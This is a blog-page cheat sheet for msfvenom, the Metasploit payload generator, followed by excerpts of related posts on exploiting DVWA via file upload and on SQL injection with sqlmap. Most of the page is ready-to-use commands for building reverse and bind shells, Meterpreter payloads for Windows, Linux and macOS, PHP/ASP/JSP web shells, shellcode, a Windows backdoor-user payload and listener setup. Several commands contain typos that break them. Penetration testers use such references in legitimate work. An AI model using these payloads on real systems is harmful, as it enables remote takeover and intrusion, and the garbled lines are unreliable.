msfvenom Cheat Sheet

-


msfvenom is a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode.

List switches/options

$ msfvenom --help
 

List all payloads/modules 

$ msfvenom -l or list <type>

Here Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all


Binaries Payloads:

Linux Meterpreter Reverse Shell

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf

Linux Bind Meterpreter Shell
$ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf

Linux Bind Shell
$ msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf

Windows Meterpreter Reverse TCP Shell
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windows x64 Meterpreter Reverse TCP Shell
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windows Reverse TCP Shell
$ msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windows Encoded Meterpreter Windows Reverse Shell
$ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Mac Reverse Shell
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f macho > shell.macho

Mac Bind Shell
$ msfvenom -p osx/x86/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f macho > bind.macho


Web Payloads:

PHP Meterpreter Reverse TCP
$ msfvenom -p php/meterprete/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.php
For MAC

For mac OS,

catshell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

 

For Kali/Ubuntu

cat shell.php | xclip -selection clipboard && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && xclip -selection clipboard -o >> shell.php


In ubuntu

cat shell.php | xclip -selection clipboard && echo "<?php  | tr -d \n"  > shell.php && xclip -selection clipboard -o >> shell.php


For more information refer following link:

How To Imitate (Replicate) pbcopy And pbpaste Commands On Linux  


ASP Meterpreter Reverse TCP
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f asp > shell.asp

JSP Java Meterpreter Reverse TCP
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp

WAR
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war


Scripting Payloads:

Python Reverse Shell
$ msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.py

Bash Unix Reverse Shell
$ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Perl Unix Reverse shell
$ msfvenom -p cmd/unix/reverse_perl LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.pl


Shellcode:

Windows Meterpreter Reverse TCP Shellcode

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Linux Meterpreter Reverse TCP Shellcode
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Mac Reverse TCP Shellcode
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Create User
$ msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe


Metasploit Handler:

msf> use exploit/multi/handler
msf> set PAYLOAD <Payload name>
msf> set RHOST <Remote IP>
msf> set LHOST <Local IP>
msf> set LPORT <Local Port>
msf> Run | exploit

 OR

msf> handler -p <payload> -H <IP address>  -P <PORT>

E.g.

msf> handler -p php/meterpreter/reverse_tcp -H <IP address>  -P <PORT>

 

Comments

Post a Comment

Popular posts from this blog

Exploiting a Web Server - Using msfvenom generated PHP Web Payload

-
Image
 Exploiting a Web Server - Using msfvenom generated PHP Web Payload  This exploit uses some of the file upload functions of the DVWA web site to demonstrate how to hack through the site itself. A hacker would use this type of vulnerability to gain access to web applications, servers, and data. We will start by creating a pre-prepared PHP code that we will upload to the web server through the upload functionality provide by DVWA.  For this exercise, I hosted DVWA application in XAMPP on my host operating system. I will generate PHP code using msfvenom on Kali Linux which is hosted/run on oracle VBOX. On the Kali Linux, run the following command to generate PHP Web Payload: $ msfvenom -p php/meterpreter/reverse_tcp LHOST=<Local IP>  LPORT=<Local Port>  -f raw > phpshell.php For example, $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f exe > phpshell.exe Here, 192.168.0.2 is a IP Address of Kali Server It will generate fo...
Read more

How To Imitate (Replicate) pbcopy And pbpaste Commands On Linux

-
Image
How To I mitate (Replicate ) pbcopy And pbpaste Commands On Linux pbcopy  on a mac enables you to copy the standard input from terminal window to your clipboard enabling you to paste it to other applications.  This functionality is not   available  by default on  Ubuntu / Linux  but can be easily imitate using  available Linux commands You can  imitate  pbcopy and  pbpaste     on ubuntu/linux by using similar tool called  xclip which does exactly the same.  However its syntax is a little complicated  it required more options/switches. So,  I am going to  imitate  it with  pbcopy and pbpaste command. Fortunately, OS X and Linux *nix based we can make use of the The alias c ommand to replicate the pbcopy and pbpaste functionality in ubuntu/linux. If you haven’t previously installed xclip simply run the following command in your terminal:    $  sudo apt-get install xclip -y Edit y...
Read more

Automate SQL Injection Exploitation with SqlMap - DVWA

-
Automate SQL Injection Exploitation with SqlMap - Damn Vulnerable Web App ( DVWA) What is a SQL Injection? SQL injection is a technique often used to attack data driven applications. SQL injection is considered a high risk vulnerability due to the fact that can lead to full compromise of the web application. This is why in almost all web application penetration testing engagements, the applications are always checked for SQL injection flaws. A general and simple definition of when an application is vulnerable to SQL injection is when the application allows you to interact with the database and to execute queries on the database then it is vulnerable to SQL injection attacks. This is done by crafted parameter/statements passed as input (HTML form) in an attempt to get the website to pass a newly formed SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a vulnerability in an web application's code....
Read more